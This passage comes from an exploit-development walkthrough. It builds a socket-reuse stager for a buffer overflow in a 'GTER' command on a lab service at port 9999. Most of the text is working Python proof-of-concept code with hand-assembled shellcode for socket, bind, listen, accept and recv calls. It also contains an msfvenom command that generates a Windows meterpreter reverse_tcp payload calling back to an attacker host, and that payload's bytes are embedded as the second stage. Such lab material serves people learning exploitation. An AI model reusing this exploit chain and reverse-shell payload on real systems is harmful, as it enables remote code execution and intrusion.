PUSH EDI              ; Pass in the socket
CALL EBX              ; Invoke listen

8.4.1 POC Update

Having gathered all of the information above, restart the application, set a breakpoint at 0x625011AF and update the updated exploit below:

import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

# INSTRUCTIONS TO ADJUST ESP
adjust_esp  = "\x83\xEC\x50" # SUB ESP,50 # for moving away from EIP
adjust_esp += "\x83\xEC\x50" # SUB ESP,50 # for moving away from EIP

# INSTRUCTIONS FOR SOCKET CALL
socket_call  = "\x31\xc0"                 # XOR EAX,EAX
socket_call += "\xB0\x06"                 # MOV AL,6
socket_call += "\x50"                     # PUSH EAX
socket_call += "\xB0\x01"                 # MOV AL,1
socket_call += "\x50"                     # PUSH EAX
socket_call += "\x40"                     # INC EAX
socket_call += "\x50"                     # PUSH EAX
socket_call += "\xBB\x77\x7C\x25\x40"     # MOV EBX,40257C77 
socket_call += "\xC1\xEB\x08"             # SHR EBX,8
socket_call += "\xFF\xD3"                 # CALL EBX
socket_call += "\x8B\xF8"                 # MOV EDI,EAX

# INSTRUCTIONS FOR BIND CALL
bind_call = "\x31\xC0"              # XOR EAX,EAX
bind_call += "\x50"                 # PUSH EAX
bind_call += "\x50"                 # PUSH EAX
bind_call += "\xba\x02\xff\x1a\x0a" # mov edx,0xa1aff02
bind_call += "\x30\xf6" 			# xor dx
bind_call += "\x54"                 # push esp
bind_call += "\x59"                 # pop ecx
bind_call += "\x6A\x16"             # PUSH 16 # socket 
bind_call += "\x89\x11"             # mov DWORD PTR [ecx],edx
bind_call += "\x51"                 # PUSH ECX
bind_call += "\xB3\x64"             # MOV BL,64 # Add to ebx to make it equal to the call bind function which is at address 00402564
bind_call += "\x57"                 # PUSH EDI
bind_call += "\xFF\xD3"             # CALL EBX

# INSTRUCTIONS FOR LISTEN CALL
listen_call  = "\xB3\x54"
listen_call += "\x6A\x7F"
listen_call += "\x57"
listen_call += "\xFF\xD3"
 


# MAIN PAYLOAD INSTRUCTIONS
payload = "GTER /.:/"
payload += adjust_esp  
payload += socket_call 					  # Call socket_call 
payload += bind_call					  # Call bind_call 
payload += listen_call					  # Call listen_call 
payload += "A" * (147 - len(adjust_esp) - len(socket_call) - len(bind_call) - len(listen_call)) # Junk
payload += struct.pack("<I",0x625011AF)   # Overwrite EIP
payload += "\xe9\x64\xff\xff\xff"         # Negative jump back to the start of our A buffer
payload += "D" * (5990 - len(payload))    # Junk


	
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))

s.send(payload)
s.close()	

8.5 Accept Function

Our next step is to start accepting new connections on our socket. The first think we need to do is to find the address of the Accept function. Having identified the WS_32.socket address as shown in Figure 22, note down the bind address call as shown in Figure 43.

According to Microsoft, the accept function takes three parameters. The call would normally look like accept(socket, NULL, NULL). As the EAX register returned zero from our Listen call, we can effectively push EAX to the stack twice to satisfy the second and third parameters of the Accept Function.

50               PUSH EAX
50               PUSH EAX

Again let's move EBX to point to this function first, then set up the stack before doing the call. This is done like so:

57               PUSH EDI
0B3 4C           MOV BL,4C
FFD3             CALL EBX

8.6 Recv Function

Finally the recv syscall accepts the second stage payload. The first think we need to do is to find the address of the RECV function. Having identified the WS_32.socket address as shown in Figure 22, note down the bind address call as shown in Figure 45.

According to Microsoft, the recv function takes four parameters.

  • The first argument (on the top of the stack) is the socket file descriptor which was received from previous accept syscall.

  • The second argument is the buffer, i.e. a pointer to the area of memory that the data received via the socket will be stored.

  • The third argument is the amount of data to expect.

  • The final argument is the flags that influence the behaviour of the function. As the default behaviour is being used,we will set this to 0.

As these instructions are pushed in reverse the first thing we need to do is to satisfy the flags parameter. To satisfy the flags parameter we we zero out and move the FLAGS ( NULL ) onto the stack:

8BF8             MOV EDI,EAX
33C0             XOR EAX,EAX
50               PUSH EAX

Next, to satisfy the third parameter mov 2 into AH which creates additional buffer space (length of 512 bytes) and pushing it to the stack.

B4 02            MOV AH,2
50               PUSH EAX

The most difficult part of the Recv function is satisfying the second parameter. This is selecting an address where the exploit should be stored. To accomplish this, you need to tell recv to dump the received data directly ahead of where we are currently executing, allowing for execution to drop straight into it. To do this, you need to determine how far away ESP is from the end of the stager. By looking at the current stack pointer and the address of the last few bytes of the stager you can determine how many bytes you are away. In this case it was 145 bytes as seen in Figure 47

00B7F95B - 00B7F9EC = 91 hex or 145 bytes.

As shown above we need to adjust esp by 145 bytes so that is points to 00B7F9EC. To do this, we will push ESPonto the stack and pop that value into ECXto carry out the necessary calculations as shown below:

"\x54"                 # PUSH ESP onto the stack
"\x59"                 # POP ESP into ECX
"\x66\x83\xC1\x48"     # add cx,byte +0x48
"\x66\x83\xC1\x49"     # add cx,byte +0x49
"\x51"                 # PUSH ECX onto the stack

Next we push the socket handler stored in EDI onto the stack, adjust EBX so that it equals the call address of the recv function and then we call EBX.

"\x57"               # PUSH EDI
"\xB3\x2C"           # MOV BL,2C - Ref Figure 45
"\xFF\xD3"           # CALL EBX

9. Testing Expanded Buffer With Dummy Payload

Now that we have the final stager shell code complete we can send our dummy shellcode. Additionally a timer was added to wait a few seconds before sending the final payload, to ensure that the stager had executed. The updated POC should now look like this:

import socket
import struct
from time import sleep

# MAIN PAYLOAD INSTRUCTIONS
def first_payload():

	# INSTRUCTIONS TO ADJUST ESP
	adjust_esp  = "\x83\xEC\x50" # SUB ESP,50 # for moving away from EIP
	adjust_esp += "\x83\xEC\x50" # SUB ESP,50 # for moving away from EIP

	# INSTRUCTIONS FOR SOCKET CALL
	socket_call  = "\x31\xc0"                 # XOR EAX,EAX
	socket_call += "\xB0\x06"                 # MOV AL,6
	socket_call += "\x50"                     # PUSH EAX
	socket_call += "\xB0\x01"                 # MOV AL,1
	socket_call += "\x50"                     # PUSH EAX
	socket_call += "\x40"                     # INC EAX
	socket_call += "\x50"                     # PUSH EAX
	socket_call += "\xBB\x77\x7C\x25\x40"     # MOV EBX,40257C77 
	socket_call += "\xC1\xEB\x08"             # SHR EBX,8
	socket_call += "\xFF\xD3"                 # CALL EBX
	socket_call += "\x8B\xF8"                 # MOV EDI,EAX

	# INSTRUCTIONS FOR BIND CALL
	bind_call = "\x31\xC0"              # XOR EAX,EAX
	bind_call += "\x50"                 # PUSH EAX
	bind_call += "\x50"                 # PUSH EAX
	bind_call += "\xba\x02\xff\x1a\x0a" # mov edx,0xa1aff02
	bind_call += "\x30\xf6" 			# xor dx
	bind_call += "\x54"                 # push esp
	bind_call += "\x59"                 # pop ecx
	bind_call += "\x6A\x16"             # PUSH 16 # socket 
	bind_call += "\x89\x11"             # mov DWORD PTR [ecx],edx
	bind_call += "\x51"                 # PUSH ECX
	bind_call += "\xB3\x64"             # MOV BL,64 # Add to ebx to make it equal to the call bind function which is at address 00402564
	bind_call += "\x57"                 # PUSH EDI
	bind_call += "\xFF\xD3"             # CALL EBX

	# INSTRUCTIONS FOR LISTEN CALL
	listen_call  = "\xB3\x54"
	listen_call += "\x6A\x7F"
	listen_call += "\x57"
	listen_call += "\xFF\xD3"

	# INSTRUCTIONS FOR ACCEPT CALL
	accept_call  = "\x50"      # PUSH EAX
	accept_call += "\x50"      # PUSH EAX
	accept_call += "\x57"      # PUSH EDI
	accept_call += "\xB3\x4C" # MOV BL,4C
	accept_call += "\xFF\xD3"  # CALL EBX

	# INSTRUCTIONS FOR RECV CALL
	recv_call =  "\x8B\xF8"          # MOV EDI,EAX
	recv_call += "\x33\xC0"          # XOR EAX,EAX
	recv_call += "\x50"              # PUSH EAX
	recv_call += "\xB4\x02"          # MOV AH,2
	recv_call += "\x50"              # PUSH EAX
	recv_call += "\x54"              # PUSH ESP onto the stack
	recv_call += "\x59"              # POP ESP into ECX
	recv_call += "\x66\x83\xC1\x48"  # add cx,byte +0x48
	recv_call += "\x66\x83\xC1\x49"  # add cx,byte +0x49
	recv_call += "\x51"              # PUSH ECX onto the stack
	recv_call += "\x57"              # PUSH EDI
	recv_call += "\xB3\x2C"          # MOV BL,2C
	recv_call += "\xFF\xD3"          # CALL EBX


	# MAIN PAYLOAD INSTRUCTIONS
	payload = "GTER /.:/"
	payload += adjust_esp  
	payload += socket_call 					  # Call socket_call 
	payload += bind_call					  # Call bind_call 
	payload += listen_call					  # Call listen_call 
	payload += accept_call					  # Call accept_call
	payload += recv_call
	payload += "A" * (147 - len(adjust_esp) - len(socket_call) - len(bind_call) - len(listen_call) - len(accept_call) - len(recv_call)) # Junk
	payload += struct.pack("<I",0x625011AF)   # Overwrite EIP
	payload += "\xe9\x64\xff\xff\xff"         # Negative jump back to the start of our A buffer
	payload += "D" * (5990 - len(payload))    # Junk
	
	return payload
	


# Function Containing Reverse TCP Shell
def second_payload():
	payload = "\xCC" * 500
	return payload

	

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

# send first payload
print("Sending First Payload")
payload = first_payload()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(payload)
s.close()	
print("Sent!")
sleep(3)

# send second payload
print("Sending Second Payload")
payload = second_payload()
TCP_PORT = 6666
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(payload)
s.close()
print("Sent!")


10. Getting Shell

Lets generate a reverse tcp shell using msfvenom.

msfvenom -p windows/meterpreter/reverse_tcp LHOST= 192.168.109.128 LPORT=1234-f python -v shellcode -b "\x00" -v shellcode

Setup your netcat listener:

Setup your multi/handler as shown

Restart the application and run the updated POC shown below:

import socket
import struct
from time import sleep

# MAIN PAYLOAD INSTRUCTIONS
def first_payload():

	# INSTRUCTIONS TO ADJUST ESP
	adjust_esp  = "\x83\xEC\x50" # SUB ESP,50 # for moving away from EIP
	adjust_esp += "\x83\xEC\x50" # SUB ESP,50 # for moving away from EIP

	# INSTRUCTIONS FOR SOCKET CALL
	socket_call  = "\x31\xc0"                 # XOR EAX,EAX
	socket_call += "\xB0\x06"                 # MOV AL,6
	socket_call += "\x50"                     # PUSH EAX
	socket_call += "\xB0\x01"                 # MOV AL,1
	socket_call += "\x50"                     # PUSH EAX
	socket_call += "\x40"                     # INC EAX
	socket_call += "\x50"                     # PUSH EAX
	socket_call += "\xBB\x77\x7C\x25\x40"     # MOV EBX,40257C77 
	socket_call += "\xC1\xEB\x08"             # SHR EBX,8
	socket_call += "\xFF\xD3"                 # CALL EBX
	socket_call += "\x8B\xF8"                 # MOV EDI,EAX

	# INSTRUCTIONS FOR BIND CALL
	bind_call = "\x31\xC0"              # XOR EAX,EAX
	bind_call += "\x50"                 # PUSH EAX
	bind_call += "\x50"                 # PUSH EAX
	bind_call += "\xba\x02\xff\x1a\x0a" # mov edx,0xa1aff02
	bind_call += "\x30\xf6" 			# xor dx
	bind_call += "\x54"                 # push esp
	bind_call += "\x59"                 # pop ecx
	bind_call += "\x6A\x16"             # PUSH 16 # socket 
	bind_call += "\x89\x11"             # mov DWORD PTR [ecx],edx
	bind_call += "\x51"                 # PUSH ECX
	bind_call += "\xB3\x64"             # MOV BL,64 # Add to ebx to make it equal to the call bind function which is at address 00402564
	bind_call += "\x57"                 # PUSH EDI
	bind_call += "\xFF\xD3"             # CALL EBX

	# INSTRUCTIONS FOR LISTEN CALL
	listen_call  = "\xB3\x54"
	listen_call += "\x6A\x7F"
	listen_call += "\x57"
	listen_call += "\xFF\xD3"

	# INSTRUCTIONS FOR ACCEPT CALL
	accept_call  = "\x50"      # PUSH EAX
	accept_call += "\x50"      # PUSH EAX
	accept_call += "\x57"      # PUSH EDI
	accept_call += "\xB3\x4C" # MOV BL,4C
	accept_call += "\xFF\xD3"  # CALL EBX

	# INSTRUCTIONS FOR RECV CALL
	recv_call =  "\x8B\xF8"          # MOV EDI,EAX
	recv_call += "\x33\xC0"          # XOR EAX,EAX
	recv_call += "\x50"              # PUSH EAX
	recv_call += "\xB4\x02"          # MOV AH,2
	recv_call += "\x50"              # PUSH EAX
	recv_call += "\x54"              # PUSH ESP onto the stack
	recv_call += "\x59"              # POP ESP into ECX
	recv_call += "\x66\x83\xC1\x48"  # add cx,byte +0x48
	recv_call += "\x66\x83\xC1\x49"  # add cx,byte +0x49
	recv_call += "\x51"              # PUSH ECX onto the stack
	recv_call += "\x57"              # PUSH EDI
	recv_call += "\xB3\x2C"          # MOV BL,2C
	recv_call += "\xFF\xD3"          # CALL EBX


	# MAIN PAYLOAD INSTRUCTIONS
	payload = "GTER /.:/"
	payload += adjust_esp  
	payload += socket_call 					  # Call socket_call 
	payload += bind_call					  # Call bind_call 
	payload += listen_call					  # Call listen_call 
	payload += accept_call					  # Call accept_call
	payload += recv_call
	payload += "A" * (147 - len(adjust_esp) - len(socket_call) - len(bind_call) - len(listen_call) - len(accept_call) - len(recv_call)) # Junk
	payload += struct.pack("<I",0x625011AF)   # Overwrite EIP
	payload += "\xe9\x64\xff\xff\xff"         # Negative jump back to the start of our A buffer
	payload += "D" * (5990 - len(payload))    # Junk
	
	return payload
	


# Function Containing Reverse TCP Shell
def second_payload():
	shellcode =  b""
	shellcode += b"\xda\xd3\xba\x49\xd7\x15\x12\xd9\x74\x24\xf4"
	shellcode += b"\x5f\x29\xc9\xb1\x56\x31\x57\x18\x03\x57\x18"
	shellcode += b"\x83\xef\xb5\x35\xe0\xee\xad\x38\x0b\x0f\x2d"
	shellcode += b"\x5d\x85\xea\x1c\x5d\xf1\x7f\x0e\x6d\x71\x2d"
	shellcode += b"\xa2\x06\xd7\xc6\x31\x6a\xf0\xe9\xf2\xc1\x26"
	shellcode += b"\xc7\x03\x79\x1a\x46\x87\x80\x4f\xa8\xb6\x4a"
	shellcode += b"\x82\xa9\xff\xb7\x6f\xfb\xa8\xbc\xc2\xec\xdd"
	shellcode += b"\x89\xde\x87\xad\x1c\x67\x7b\x65\x1e\x46\x2a"
	shellcode += b"\xfe\x79\x48\xcc\xd3\xf1\xc1\xd6\x30\x3f\x9b"
	shellcode += b"\x6d\x82\xcb\x1a\xa4\xdb\x34\xb0\x89\xd4\xc6"
	shellcode += b"\xc8\xce\xd2\x38\xbf\x26\x21\xc4\xb8\xfc\x58"
	shellcode += b"\x12\x4c\xe7\xfa\xd1\xf6\xc3\xfb\x36\x60\x87"
	shellcode += b"\xf7\xf3\xe6\xcf\x1b\x05\x2a\x64\x27\x8e\xcd"
	shellcode += b"\xab\xae\xd4\xe9\x6f\xeb\x8f\x90\x36\x51\x61"
	shellcode += b"\xac\x29\x3a\xde\x08\x21\xd6\x0b\x21\x68\xbe"
	shellcode += b"\xf8\x08\x93\x3e\x97\x1b\xe0\x0c\x38\xb0\x6e"
	shellcode += b"\x3c\xb1\x1e\x68\x35\xd5\xa0\xa6\xfd\xb6\x5e"
	shellcode += b"\x47\xfd\x9f\xa4\x13\xad\xb7\x0d\x1c\x26\x48"
	shellcode += b"\xb1\xc9\xd2\x42\x25\x32\x8a\x3e\x35\xda\xc8"
	shellcode += b"\xc0\x31\xc9\x45\x26\x69\xbd\x05\xf7\xca\x6d"
	shellcode += b"\xe5\xa7\xa2\x67\xea\x98\xd3\x87\x21\xb1\x7e"
	shellcode += b"\x68\x9f\xe9\x16\x11\xba\x62\x86\xde\x11\x0f"
	shellcode += b"\x88\x55\x93\xef\x47\x9e\xd6\xe3\xb0\xf9\x18"
	shellcode += b"\xfc\x40\x6c\x18\x96\x44\x26\x4f\x0e\x47\x1f"
	shellcode += b"\xa7\x91\xb8\x4a\xb4\xd6\x47\x0b\x8c\xad\x7e"
	shellcode += b"\x99\xb0\xd9\x7e\x4d\x30\x1a\x29\x07\x30\x72"
	shellcode += b"\x8d\x73\x63\x67\xd2\xa9\x10\x34\x47\x52\x40"
	shellcode += b"\xe8\xc0\x3a\x6e\xd7\x27\xe5\x91\x32\x34\xe2"
	shellcode += b"\x6d\xc0\x13\x4b\x05\x3a\x24\x6b\xd5\x50\xa4"
	shellcode += b"\x3b\xbd\xaf\x8b\xb4\x0d\x4f\x06\x9d\x05\xda"
	shellcode += b"\xc7\x6f\xb4\xdb\xcd\x2e\x68\xdb\xe2\xea\x9b"
	shellcode += b"\xa6\x8b\x0d\x5c\x57\x82\x69\x5d\x57\xaa\x8f"
	shellcode += b"\x62\x81\x93\xe5\xa5\x11\xa0\xf6\x90\x34\x81"
	shellcode += b"\x9c\xda\x6b\xd1\xb4"
	return shellcode

	

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

# send first payload
print("Sending First Payload")
payload = first_payload()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(payload)
s.close()	
print("Sent!")
sleep(3)

# send second payload
print("Sending Second Payload")
payload = second_payload()
TCP_PORT = 6666
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(payload)
s.close()
print("Sent!")

Last updated